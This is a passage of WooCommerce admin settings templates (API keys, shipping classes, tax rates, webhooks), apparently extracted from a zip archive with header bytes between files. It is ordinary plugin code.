							<p><?php esc_html_e( 'Choose the shipping method you wish to add. Only shipping methods which support zones are listed.', 'woocommerce' ); ?></p>

							<select name="add_method_id">
								<?php
								foreach ( WC()->shipping()->load_shipping_methods() as $method ) {
									if ( ! $method->supports( 'shipping-zones' ) ) {
										continue;
									}
									echo '<option data-description="' . esc_attr( wp_kses_post( wpautop( $method->get_method_description() ) ) ) . '" value="' . esc_attr( $method->id ) . '">' . esc_html( $method->get_method_title() ) . '</li>';
								}
								?>
							</select>
						</div>
					</form>
				</article>
				<footer>
					<div class="inner">
						<button id="btn-ok" class="button button-primary button-large"><?php esc_html_e( 'Add shipping method', 'woocommerce' ); ?></button>
					</div>
				</footer>
			</section>
		</div>
	</div>
	<div class="wc-backbone-modal-backdrop modal-close"></div>
</script>
PK�3\�O-!!!settings/views/html-keys-edit.phpnu�[���<?php
/**
 * Admin view: Edit API keys
 *
 * @package WooCommerce\Admin\Settings
 */

defined( 'ABSPATH' ) || exit;
?>

<div id="key-fields" class="settings-panel">
	<h2><?php esc_html_e( 'Key details', 'woocommerce' ); ?></h2>

	<input type="hidden" id="key_id" value="<?php echo esc_attr( $key_id ); ?>" />

	<table id="api-keys-options" class="form-table">
		<tbody>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="key_description">
						<?php esc_html_e( 'Description', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'Friendly name for identifying this key.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<input id="key_description" type="text" class="input-text regular-input" value="<?php echo esc_attr( $key_data['description'] ); ?>" />
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="key_user">
						<?php esc_html_e( 'User', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'Owner of these keys.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<?php
					$current_user_id = get_current_user_id();
					$user_id        = ! empty( $key_data['user_id'] ) ? absint( $key_data['user_id'] ) : $current_user_id;
					$user           = get_user_by( 'id', $user_id );
					$user_string    = sprintf(
						/* translators: 1: user display name 2: user ID 3: user email */
						esc_html__( '%1$s (#%2$s &ndash; %3$s)', 'woocommerce' ),
						$user->display_name,
						absint( $user->ID ),
						$user->user_email
					);
					?>
					<select class="wc-customer-search" id="key_user" data-placeholder="<?php esc_attr_e( 'Search for a user&hellip;', 'woocommerce' ); ?>" data-allow_clear="true">
						<option value="<?php echo esc_attr( $user_id ); ?>" selected="selected"><?php echo htmlspecialchars( wp_kses_post( $user_string ) ); // htmlspecialchars to prevent XSS when rendered by selectWoo. ?></option>
					</select>
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="key_permissions">
						<?php esc_html_e( 'Permissions', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'Select the access type of these keys.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<select id="key_permissions" class="wc-enhanced-select">
						<?php
						$permissions = array(
							'read'       => __( 'Read', 'woocommerce' ),
							'write'      => __( 'Write', 'woocommerce' ),
							'read_write' => __( 'Read/Write', 'woocommerce' ),
						);

						foreach ( $permissions as $permission_id => $permission_name ) :
							?>
							<option value="<?php echo esc_attr( $permission_id ); ?>" <?php selected( $key_data['permissions'], $permission_id, true ); ?>><?php echo esc_html( $permission_name ); ?></option>
						<?php endforeach; ?>
					</select>
				</td>
			</tr>

			<?php if ( 0 !== $key_id ) : ?>
				<tr valign="top">
					<th scope="row" class="titledesc">
						<?php esc_html_e( 'Consumer key ending in', 'woocommerce' ); ?>
					</th>
					<td class="forminp">
						<code>&hellip;<?php echo esc_html( $key_data['truncated_key'] ); ?></code>
					</td>
				</tr>
				<tr valign="top">
					<th scope="row" class="titledesc">
						<?php esc_html_e( 'Last access', 'woocommerce' ); ?>
					</th>
					<td class="forminp">
						<span>
						<?php
						if ( ! empty( $key_data['last_access'] ) ) {
							/* translators: 1: last access date 2: last access time */
							$date = sprintf( __( '%1$s at %2$s', 'woocommerce' ), date_i18n( wc_date_format(), strtotime( $key_data['last_access'] ) ), date_i18n( wc_time_format(), strtotime( $key_data['last_access'] ) ) );

							echo esc_html( apply_filters( 'woocommerce_api_key_last_access_datetime', $date, $key_data['last_access'] ) );
						} else {
							esc_html_e( 'Unknown', 'woocommerce' );
						}
						?>
						</span>
					</td>
				</tr>
			<?php endif ?>
		</tbody>
	</table>

	<?php do_action( 'woocommerce_admin_key_fields', $key_data ); ?>

	<?php
	if ( 0 === intval( $key_id ) ) {
		submit_button( __( 'Generate API key', 'woocommerce' ), 'primary', 'update_api_key' );
	} else {
		?>
		<p class="submit">
			<?php submit_button( __( 'Save changes', 'woocommerce' ), 'primary', 'update_api_key', false ); ?>
			<a style="color: #a00; text-decoration: none; margin-left: 10px;" href="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'revoke-key' => $key_id ), admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys' ) ), 'revoke' ) ); ?>"><?php esc_html_e( 'Revoke key', 'woocommerce' ); ?></a>
		</p>
		<?php
	}
	?>
</div>

<script type="text/template" id="tmpl-api-keys-template">
	<p id="copy-error"></p>
	<table class="form-table">
		<tbody>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<?php esc_html_e( 'Consumer key', 'woocommerce' ); ?>
				</th>
				<td class="forminp">
					<input id="key_consumer_key" type="text" value="{{ data.consumer_key }}" size="55" readonly="readonly"> <button type="button" class="button-secondary copy-key" data-tip="<?php esc_attr_e( 'Copied!', 'woocommerce' ); ?>"><?php esc_html_e( 'Copy', 'woocommerce' ); ?></button>
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<?php esc_html_e( 'Consumer secret', 'woocommerce' ); ?>
				</th>
				<td class="forminp">
					<input id="key_consumer_secret" type="text" value="{{ data.consumer_secret }}" size="55" readonly="readonly"> <button type="button" class="button-secondary copy-secret" data-tip="<?php esc_attr_e( 'Copied!', 'woocommerce' ); ?>"><?php esc_html_e( 'Copy', 'woocommerce' ); ?></button>
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<?php esc_html_e( 'QRCode', 'woocommerce' ); ?>
				</th>
				<td class="forminp">
					<div id="keys-qrcode"></div>
				</td>
			</tr>
		</tbody>
	</table>
</script>
PK�3\�P3settings/views/html-admin-page-shipping-classes.phpnu�[���<?php
/**
 * Shipping classes admin
 *
 * @package WooCommerce\Admin\Shipping
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<h2>
	<?php esc_html_e( 'Shipping classes', 'woocommerce' ); ?>
	<?php echo wc_help_tip( __( 'Shipping classes can be used to group products of similar type and can be used by some Shipping Methods (such as "Flat rate shipping") to provide different rates to different classes of product.', 'woocommerce' ) ); // @codingStandardsIgnoreLine ?>
</h2>

<table class="wc-shipping-classes widefat">
	<thead>
		<tr>
			<?php foreach ( $shipping_class_columns as $class => $heading ) : ?>
				<th class="<?php echo esc_attr( $class ); ?>"><?php echo esc_html( $heading ); ?></th>
			<?php endforeach; ?>
		</tr>
	</thead>
	<tfoot>
		<tr>
			<td colspan="<?php echo absint( count( $shipping_class_columns ) ); ?>">
				<button type="submit" name="save" class="button button-primary wc-shipping-class-save" value="<?php esc_attr_e( 'Save shipping classes', 'woocommerce' ); ?>" disabled><?php esc_html_e( 'Save shipping classes', 'woocommerce' ); ?></button>
				<a class="button button-secondary wc-shipping-class-add" href="#"><?php esc_html_e( 'Add shipping class', 'woocommerce' ); ?></a>
			</td>
		</tr>
	</tfoot>
	<tbody class="wc-shipping-class-rows"></tbody>
</table>

<script type="text/html" id="tmpl-wc-shipping-class-row-blank">
	<tr>
		<td class="wc-shipping-classes-blank-state" colspan="<?php echo absint( count( $shipping_class_columns ) ); ?>"><p><?php esc_html_e( 'No shipping classes have been created.', 'woocommerce' ); ?></p></td>
	</tr>
</script>

<script type="text/html" id="tmpl-wc-shipping-class-row">
	<tr data-id="{{ data.term_id }}">
		<?php
		foreach ( $shipping_class_columns as $class => $heading ) {
			echo '<td class="' . esc_attr( $class ) . '">';
			switch ( $class ) {
				case 'wc-shipping-class-name':
					?>
					<div class="view">
						{{ data.name }}
						<div class="row-actions">
							<a class="wc-shipping-class-edit" href="#"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a> | <a href="#" class="wc-shipping-class-delete"><?php esc_html_e( 'Remove', 'woocommerce' ); ?></a>
						</div>
					</div>
					<div class="edit">
						<input type="text" name="name[{{ data.term_id }}]" data-attribute="name" value="{{ data.name }}" placeholder="<?php esc_attr_e( 'Shipping class name', 'woocommerce' ); ?>" />
						<div class="row-actions">
							<a class="wc-shipping-class-cancel-edit" href="#"><?php esc_html_e( 'Cancel changes', 'woocommerce' ); ?></a>
						</div>
					</div>
					<?php
					break;
				case 'wc-shipping-class-slug':
					?>
					<div class="view">{{ data.slug }}</div>
					<div class="edit"><input type="text" name="slug[{{ data.term_id }}]" data-attribute="slug" value="{{ data.slug }}" placeholder="<?php esc_attr_e( 'Slug', 'woocommerce' ); ?>" /></div>
					<?php
					break;
				case 'wc-shipping-class-description':
					?>
					<div class="view">{{ data.description }}</div>
					<div class="edit"><input type="text" name="description[{{ data.term_id }}]" data-attribute="description" value="{{ data.description }}" placeholder="<?php esc_attr_e( 'Description for your reference', 'woocommerce' ); ?>" /></div>
					<?php
					break;
				case 'wc-shipping-class-count':
					?>
					<a href="<?php echo esc_url( admin_url( 'edit.php?post_type=product&product_shipping_class=' ) ); ?>{{data.slug}}">{{ data.count }}</a>
					<?php
					break;
				default:
					do_action( 'woocommerce_shipping_classes_column_' . $class );
					break;
			}
			echo '</td>';
		}
		?>
	</tr>
</script>
PK�3\���..settings/views/settings-tax.phpnu�[���<?php
/**
 * Tax settings.
 *
 * @package WooCommerce\Admin\Settings.
 */

defined( 'ABSPATH' ) || exit;

$settings = array(

	array(
		'title' => __( 'Tax options', 'woocommerce' ),
		'type'  => 'title',
		'desc'  => '',
		'id'    => 'tax_options',
	),

	array(
		'title'    => __( 'Prices entered with tax', 'woocommerce' ),
		'id'       => 'woocommerce_prices_include_tax',
		'default'  => 'no',
		'type'     => 'radio',
		'desc_tip' => __( 'This option is important as it will affect how you input prices. Changing it will not update existing products.', 'woocommerce' ),
		'options'  => array(
			'yes' => __( 'Yes, I will enter prices inclusive of tax', 'woocommerce' ),
			'no'  => __( 'No, I will enter prices exclusive of tax', 'woocommerce' ),
		),
	),

	array(
		'title'    => __( 'Calculate tax based on', 'woocommerce' ),
		'id'       => 'woocommerce_tax_based_on',
		'desc_tip' => __( 'This option determines which address is used to calculate tax.', 'woocommerce' ),
		'default'  => 'shipping',
		'type'     => 'select',
		'class'    => 'wc-enhanced-select',
		'options'  => array(
			'shipping' => __( 'Customer shipping address', 'woocommerce' ),
			'billing'  => __( 'Customer billing address', 'woocommerce' ),
			'base'     => __( 'Shop base address', 'woocommerce' ),
		),
	),

	'shipping-tax-class' => array(
		'title'    => __( 'Shipping tax class', 'woocommerce' ),
		'desc'     => __( 'Optionally control which tax class shipping gets, or leave it so shipping tax is based on the cart items themselves.', 'woocommerce' ),
		'id'       => 'woocommerce_shipping_tax_class',
		'css'      => 'min-width:150px;',
		'default'  => 'inherit',
		'type'     => 'select',
		'class'    => 'wc-enhanced-select',
		'options'  => array( 'inherit' => __( 'Shipping tax class based on cart items', 'woocommerce' ) ) + wc_get_product_tax_class_options(),
		'desc_tip' => true,
	),

	array(
		'title'   => __( 'Rounding', 'woocommerce' ),
		'desc'    => __( 'Round tax at subtotal level, instead of rounding per line', 'woocommerce' ),
		'id'      => 'woocommerce_tax_round_at_subtotal',
		'default' => 'no',
		'type'    => 'checkbox',
	),

	array(
		'title'     => __( 'Additional tax classes', 'woocommerce' ),
		'desc_tip'  => __( 'List additional tax classes you need below (1 per line, e.g. Reduced Rates). These are in addition to "Standard rate" which exists by default.', 'woocommerce' ),
		'id'        => 'woocommerce_tax_classes',
		'css'       => 'height: 65px;',
		'type'      => 'textarea',
		'default'   => '',
		'is_option' => false,
		'value'     => implode( "\n", WC_Tax::get_tax_classes() ),
	),

	array(
		'title'   => __( 'Display prices in the shop', 'woocommerce' ),
		'id'      => 'woocommerce_tax_display_shop',
		'default' => 'excl',
		'type'    => 'select',
		'class'   => 'wc-enhanced-select',
		'options' => array(
			'incl' => __( 'Including tax', 'woocommerce' ),
			'excl' => __( 'Excluding tax', 'woocommerce' ),
		),
	),

	array(
		'title'   => __( 'Display prices during cart and checkout', 'woocommerce' ),
		'id'      => 'woocommerce_tax_display_cart',
		'default' => 'excl',
		'type'    => 'select',
		'class'   => 'wc-enhanced-select',
		'options' => array(
			'incl' => __( 'Including tax', 'woocommerce' ),
			'excl' => __( 'Excluding tax', 'woocommerce' ),
		),
	),

	array(
		'title'       => __( 'Price display suffix', 'woocommerce' ),
		'id'          => 'woocommerce_price_display_suffix',
		'default'     => '',
		'placeholder' => __( 'N/A', 'woocommerce' ),
		'type'        => 'text',
		'desc_tip'    => __( 'Define text to show after your product prices. This could be, for example, "inc. Vat" to explain your pricing. You can also have prices substituted here using one of the following: {price_including_tax}, {price_excluding_tax}.', 'woocommerce' ),
	),

	array(
		'title'    => __( 'Display tax totals', 'woocommerce' ),
		'id'       => 'woocommerce_tax_total_display',
		'default'  => 'itemized',
		'type'     => 'select',
		'class'    => 'wc-enhanced-select',
		'options'  => array(
			'single'   => __( 'As a single total', 'woocommerce' ),
			'itemized' => __( 'Itemized', 'woocommerce' ),
		),
		'autoload' => false,
	),

	array(
		'type' => 'sectionend',
		'id'   => 'tax_options',
	),

);

if ( ! wc_shipping_enabled() ) {
	unset( $settings['shipping-tax-class'] );
}

return apply_filters( 'woocommerce_tax_settings', $settings );
PK�3\�'Ӣ{{$settings/views/html-settings-tax.phpnu�[���<?php
/**
 * Admin view: Settings tax
 *
 * @package WooCommerce\Admin\Settings
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<div class="wc-tax-rates-search" id="rates-search">
	<input type="search" class="wc-tax-rates-search-field" placeholder="<?php esc_attr_e( 'Search&hellip;', 'woocommerce' ); ?>" value="<?php echo isset( $_GET['s'] ) ? esc_attr( $_GET['s'] ) : ''; ?>" />
</div>

<div id="rates-pagination"></div>

<h3>
	<?php
	/* translators: %s: tax rate */
	printf(
		__( '"%s" tax rates', 'woocommerce' ),
		$current_class ? esc_html( $current_class ) : __( 'Standard', 'woocommerce' )
	);
	?>
</h3>

<table class="wc_tax_rates wc_input_table widefat">
	<thead>
		<tr>
			<th width="8%"><a href="https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes" target="_blank"><?php _e( 'Country&nbsp;code', 'woocommerce' ); ?></a>&nbsp;<?php echo wc_help_tip( __( 'A 2 digit country code, e.g. US. Leave blank to apply to all.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'State code', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'A 2 digit state code, e.g. AL. Leave blank to apply to all.', 'woocommerce' ) ); ?></th>
			<th><?php _e( 'Postcode / ZIP', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Postcode for this rule. Semi-colon (;) separate multiple values. Leave blank to apply to all areas. Wildcards (*) and ranges for numeric postcodes (e.g. 12345...12350) can also be used.', 'woocommerce' ) ); ?></th>
			<th><?php _e( 'City', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Cities for this rule. Semi-colon (;) separate multiple values. Leave blank to apply to all cities.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'Rate&nbsp;%', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Enter a tax rate (percentage) to 4 decimal places.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'Tax name', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Enter a name for this tax rate.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'Priority', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Choose a priority for this tax rate. Only 1 matching rate per priority will be used. To define multiple tax rates for a single area you need to specify a different priority per rate.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'Compound', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Choose whether or not this is a compound rate. Compound tax rates are applied on top of other tax rates.', 'woocommerce' ) ); ?></th>
			<th width="8%"><?php _e( 'Shipping', 'woocommerce' ); ?>&nbsp;<?php echo wc_help_tip( __( 'Choose whether or not this tax rate also gets applied to shipping.', 'woocommerce' ) ); ?></th>
		</tr>
	</thead>
	<tfoot>
		<tr>
			<th colspan="9">
				<a href="#" class="button plus insert"><?php _e( 'Insert row', 'woocommerce' ); ?></a>
				<a href="#" class="button minus remove_tax_rates"><?php _e( 'Remove selected row(s)', 'woocommerce' ); ?></a>
				<a href="#" download="tax_rates.csv" class="button export"><?php _e( 'Export CSV', 'woocommerce' ); ?></a>
				<a href="<?php echo admin_url( 'admin.php?import=woocommerce_tax_rate_csv' ); ?>" class="button import"><?php _e( 'Import CSV', 'woocommerce' ); ?></a>
			</th>
		</tr>
	</tfoot>
	<tbody id="rates">
		<tr>
			<th colspan="9" style="text-align: center;"><?php esc_html_e( 'Loading&hellip;', 'woocommerce' ); ?></th>
		</tr>
	</tbody>
</table>

<script type="text/html" id="tmpl-wc-tax-table-row">
	<tr class="tips" data-tip="<?php printf( esc_attr__( 'Tax rate ID: %s', 'woocommerce' ), '{{ data.tax_rate_id }}' ); ?>" data-id="{{ data.tax_rate_id }}">
		<td class="country">
			<input type="text" value="{{ data.tax_rate_country }}" placeholder="*" name="tax_rate_country[{{ data.tax_rate_id }}]" class="wc_input_country_iso" data-attribute="tax_rate_country" style="text-transform:uppercase" />
		</td>

		<td class="state">
			<input type="text" value="{{ data.tax_rate_state }}" placeholder="*" name="tax_rate_state[{{ data.tax_rate_id }}]" data-attribute="tax_rate_state" />
		</td>

		<td class="postcode">
			<input type="text" value="<# if ( data.postcode ) print( _.escape( data.postcode.join( '; ' ) ) ); #>" placeholder="*" data-name="tax_rate_postcode[{{ data.tax_rate_id }}]" data-attribute="postcode" />
		</td>

		<td class="city">
			<input type="text" value="<# if ( data.city ) print( _.escape( data.city.join( '; ' ) ) ); #>" placeholder="*" data-name="tax_rate_city[{{ data.tax_rate_id }}]" data-attribute="city" />
		</td>

		<td class="rate">
			<input type="text" value="{{ data.tax_rate }}" placeholder="0" name="tax_rate[{{ data.tax_rate_id }}]" data-attribute="tax_rate" />
		</td>

		<td class="name">
			<input type="text" value="{{ data.tax_rate_name }}" name="tax_rate_name[{{ data.tax_rate_id }}]" data-attribute="tax_rate_name" />
		</td>

		<td class="priority">
			<input type="number" step="1" min="1" value="{{ data.tax_rate_priority }}" name="tax_rate_priority[{{ data.tax_rate_id }}]" data-attribute="tax_rate_priority" />
		</td>

		<td class="compound">
			<input type="checkbox" class="checkbox" name="tax_rate_compound[{{ data.tax_rate_id }}]" <# if ( parseInt( data.tax_rate_compound, 10 ) ) { #> checked="checked" <# } #> data-attribute="tax_rate_compound" />
		</td>

		<td class="apply_to_shipping">
			<input type="checkbox" class="checkbox" name="tax_rate_shipping[{{ data.tax_rate_id }}]" <# if ( parseInt( data.tax_rate_shipping, 10 ) ) { #> checked="checked" <# } #> data-attribute="tax_rate_shipping" />
		</td>
	</tr>
</script>

<script type="text/html" id="tmpl-wc-tax-table-row-empty">
	<tr>
		<th colspan="9" style="text-align:center"><?php esc_html_e( 'No matching tax rates found.', 'woocommerce' ); ?></th>
	</tr>
</script>

<script type="text/html" id="tmpl-wc-tax-table-pagination">
	<div class="tablenav">
		<div class="tablenav-pages">
			<span class="displaying-num">
				<?php
				/* translators: %s: number */
				printf(
					__( '%s items', 'woocommerce' ), // %s will be a number eventually, but must be a string for now.
					'{{ data.qty_rates }}'
				);
				?>
			</span>
			<span class="pagination-links">

				<a class="tablenav-pages-navspan" data-goto="1">
					<span class="screen-reader-text"><?php esc_html_e( 'First page', 'woocommerce' ); ?></span>
					<span aria-hidden="true">&laquo;</span>
				</a>
				<a class="tablenav-pages-navspan" data-goto="<# print( Math.max( 1, parseInt( data.current_page, 10 ) - 1 ) ) #>">
					<span class="screen-reader-text"><?php esc_html_e( 'Previous page', 'woocommerce' ); ?></span>
					<span aria-hidden="true">&lsaquo;</span>
				</a>

				<span class="paging-input">
					<label for="current-page-selector" class="screen-reader-text"><?php esc_html_e( 'Current page', 'woocommerce' ); ?></label>
					<?php
						/* translators: 1: current page 2: total pages */
						printf(
							esc_html_x( '%1$s of %2$s', 'Pagination', 'woocommerce' ),
							'<input class="current-page" id="current-page-selector" type="text" name="paged" value="{{ data.current_page }}" size="<# print( data.qty_pages.toString().length ) #>" aria-describedby="table-paging">',
							'<span class="total-pages">{{ data.qty_pages }}</span>'
						);
					?>
				</span>

				<a class="tablenav-pages-navspan" data-goto="<# print( Math.min( data.qty_pages, parseInt( data.current_page, 10 ) + 1 ) ) #>">
					<span class="screen-reader-text"><?php esc_html_e( 'Next page', 'woocommerce' ); ?></span>
					<span aria-hidden="true">&rsaquo;</span>
				</a>
				<a class="tablenav-pages-navspan" data-goto="{{ data.qty_pages }}">
					<span class="screen-reader-text"><?php esc_html_e( 'Last page', 'woocommerce' ); ?></span>
					<span aria-hidden="true">&raquo;</span>
				</a>

			</span>
		</div>
	</div>
</script>
PK�3\�b�Vf%f%%settings/views/html-webhooks-edit.phpnu�[���<?php
/**
 * Admin View: Edit Webhooks
 *
 * @package WooCommerce\Admin\Webhooks\Views
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<input type="hidden" name="webhook_id" value="<?php echo esc_attr( $webhook->get_id() ); ?>" />

<div id="webhook-options" class="settings-panel">
	<h2><?php esc_html_e( 'Webhook data', 'woocommerce' ); ?></h2>
	<table class="form-table">
		<tbody>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_name">
						<?php esc_html_e( 'Name', 'woocommerce' ); ?>
						<?php
						/* translators: %s: date */
						echo wc_help_tip( sprintf( __( 'Friendly name for identifying this webhook, defaults to Webhook created on %s.', 'woocommerce' ), strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) ) ) ); // @codingStandardsIgnoreLine
						?>
					</label>
				</th>
				<td class="forminp">
					<input name="webhook_name" id="webhook_name" type="text" class="input-text regular-input" value="<?php echo esc_attr( $webhook->get_name() ); ?>" />
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_status">
						<?php esc_html_e( 'Status', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'The options are &quot;Active&quot; (delivers payload), &quot;Paused&quot; (does not deliver), or &quot;Disabled&quot; (does not deliver due delivery failures).', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<select name="webhook_status" id="webhook_status" class="wc-enhanced-select">
						<?php
						$statuses       = wc_get_webhook_statuses();
						$current_status = $webhook->get_status();

						foreach ( $statuses as $status_slug => $status_name ) :
							?>
							<option value="<?php echo esc_attr( $status_slug ); ?>" <?php selected( $current_status, $status_slug, true ); ?>><?php echo esc_html( $status_name ); ?></option>
						<?php endforeach; ?>
					</select>
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_topic">
						<?php esc_html_e( 'Topic', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'Select when the webhook will fire.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<select name="webhook_topic" id="webhook_topic" class="wc-enhanced-select">
						<?php
							$topic_data = WC_Admin_Webhooks::get_topic_data( $webhook );

							$topics = apply_filters(
								'woocommerce_webhook_topics',
								array(
									''                 => __( 'Select an option&hellip;', 'woocommerce' ),
									'coupon.created'   => __( 'Coupon created', 'woocommerce' ),
									'coupon.updated'   => __( 'Coupon updated', 'woocommerce' ),
									'coupon.deleted'   => __( 'Coupon deleted', 'woocommerce' ),
									'coupon.restored'  => __( 'Coupon restored', 'woocommerce' ),
									'customer.created' => __( 'Customer created', 'woocommerce' ),
									'customer.updated' => __( 'Customer updated', 'woocommerce' ),
									'customer.deleted' => __( 'Customer deleted', 'woocommerce' ),
									'order.created'    => __( 'Order created', 'woocommerce' ),
									'order.updated'    => __( 'Order updated', 'woocommerce' ),
									'order.deleted'    => __( 'Order deleted', 'woocommerce' ),
									'order.restored'   => __( 'Order restored', 'woocommerce' ),
									'product.created'  => __( 'Product created', 'woocommerce' ),
									'product.updated'  => __( 'Product updated', 'woocommerce' ),
									'product.deleted'  => __( 'Product deleted', 'woocommerce' ),
									'product.restored' => __( 'Product restored', 'woocommerce' ),
									'action'           => __( 'Action', 'woocommerce' ),
								)
							);

							foreach ( $topics as $topic_slug => $topic_name ) :

								$selected = $topic_slug === $topic_data['topic'] || $topic_slug === $topic_data['resource'] . '.' . $topic_data['event'];

								?>
								<option value="<?php echo esc_attr( $topic_slug ); ?>" <?php selected( $selected, true, true ); ?>><?php echo esc_html( $topic_name ); ?></option>
						<?php endforeach; ?>
					</select>
				</td>
			</tr>
			<tr valign="top" id="webhook-action-event-wrap">
				<th scope="row" class="titledesc">
					<label for="webhook_action_event">
						<?php esc_html_e( 'Action event', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'Enter the action that will trigger this webhook.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<input name="webhook_action_event" id="webhook_action_event" type="text" class="input-text regular-input" value="<?php echo esc_attr( $topic_data['event'] ); ?>" />
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_delivery_url">
						<?php esc_html_e( 'Delivery URL', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'URL where the webhook payload is delivered.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<input name="webhook_delivery_url" id="webhook_delivery_url" type="text" class="input-text regular-input" value="<?php echo esc_attr( $webhook->get_delivery_url() ); ?>" />
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_secret">
						<?php esc_html_e( 'Secret', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'The secret key is used to generate a hash of the delivered webhook and provided in the request headers.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<input name="webhook_secret" id="webhook_secret" type="text" class="input-text regular-input" value="<?php echo esc_attr( $webhook->get_secret() ); ?>" />
				</td>
			</tr>
			<tr valign="top">
				<th scope="row" class="titledesc">
					<label for="webhook_api_version">
						<?php esc_html_e( 'API Version', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'REST API version used in the webhook deliveries.', 'woocommerce' ) ); ?>
					</label>
				</th>
				<td class="forminp">
					<select name="webhook_api_version" id="webhook_api_version">
						<?php foreach ( array_reverse( wc_get_webhook_rest_api_versions() ) as $version ) : ?>
							<option value="<?php echo esc_attr( $version ); ?>" <?php selected( $version, $webhook->get_api_version(), true ); ?>>
								<?php
									/* translators: %d: rest api version number */
									echo esc_html( sprintf( __( 'WP REST API Integration v%d', 'woocommerce' ), str_replace( 'wp_api_v', '', $version ) ) );
								?>
							</option>
						<?php endforeach; ?>
						<option value="legacy_v3" <?php selected( 'legacy_v3', $webhook->get_api_version(), true ); ?>><?php esc_html_e( 'Legacy API v3 (deprecated)', 'woocommerce' ); ?></option>
					</select>
				</td>
			</tr>
		</tbody>
	</table>

	<?php do_action( 'woocommerce_webhook_options' ); ?>
</div>

<div id="webhook-actions" class="settings-panel">
	<h2><?php esc_html_e( 'Webhook actions', 'woocommerce' ); ?></h2>
	<table class="form-table">
		<tbody>
			<?php if ( $webhook->get_date_created() && '0000-00-00 00:00:00' !== $webhook->get_date_created()->date( 'Y-m-d H:i:s' ) ) : ?>
				<?php if ( is_null( $webhook->get_date_modified() ) ) : ?>
					<tr valign="top">
						<th scope="row" class="titledesc">
							<?php esc_html_e( 'Created at', 'woocommerce' ); ?>
						</th>
						<td class="forminp">
							<?php echo esc_html( date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $webhook->get_date_created()->date( 'Y-m-d H:i:s' ) ) ) ); ?>
						</td>
					</tr>
				<?php else : ?>
				<tr valign="top">
						<th scope="row" class="titledesc">
							<?php esc_html_e( 'Created at', 'woocommerce' ); ?>
						</th>
						<td class="forminp">
							<?php echo esc_html( date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $webhook->get_date_created()->date( 'Y-m-d H:i:s' ) ) ) ); ?>
						</td>
					</tr>
				<tr valign="top">
						<th scope="row" class="titledesc">
							<?php esc_html_e( 'Updated at', 'woocommerce' ); ?>
						</th>
						<td class="forminp">
							<?php echo esc_html( date_i18n( __( 'M j, Y @ G:i', 'woocommerce' ), strtotime( $webhook->get_date_modified()->date( 'Y-m-d H:i:s' ) ) ) ); ?>
						</td>
					</tr>
				<?php endif; ?>
			<?php endif; ?>
			<tr valign="top">
				<td colspan="2" scope="row" style="padding-left: 0;">
					<p class="submit">
						<button type="submit" class="button button-primary button-large" name="save" id="publish" accesskey="p"><?php esc_html_e( 'Save webhook', 'woocommerce' ); ?></button>
						<?php
						if ( $webhook->get_id() ) :
							$delete_url = wp_nonce_url(
								add_query_arg(
									array(
										'delete' => $webhook->get_id(),
									),
									admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks' )
								),
								'delete-webhook'
							);
							?>
							<a style="color: #a00; text-decoration: none; margin-left: 10px;" href="<?php echo esc_url( $delete_url ); ?>"><?php esc_html_e( 'Delete permanently', 'woocommerce' ); ?></a>
						<?php endif; ?>
					</p>
				</td>
			</tr>
		</tbody>
	</table>
</div>

<script type="text/javascript">
	jQuery( function ( $ ) {
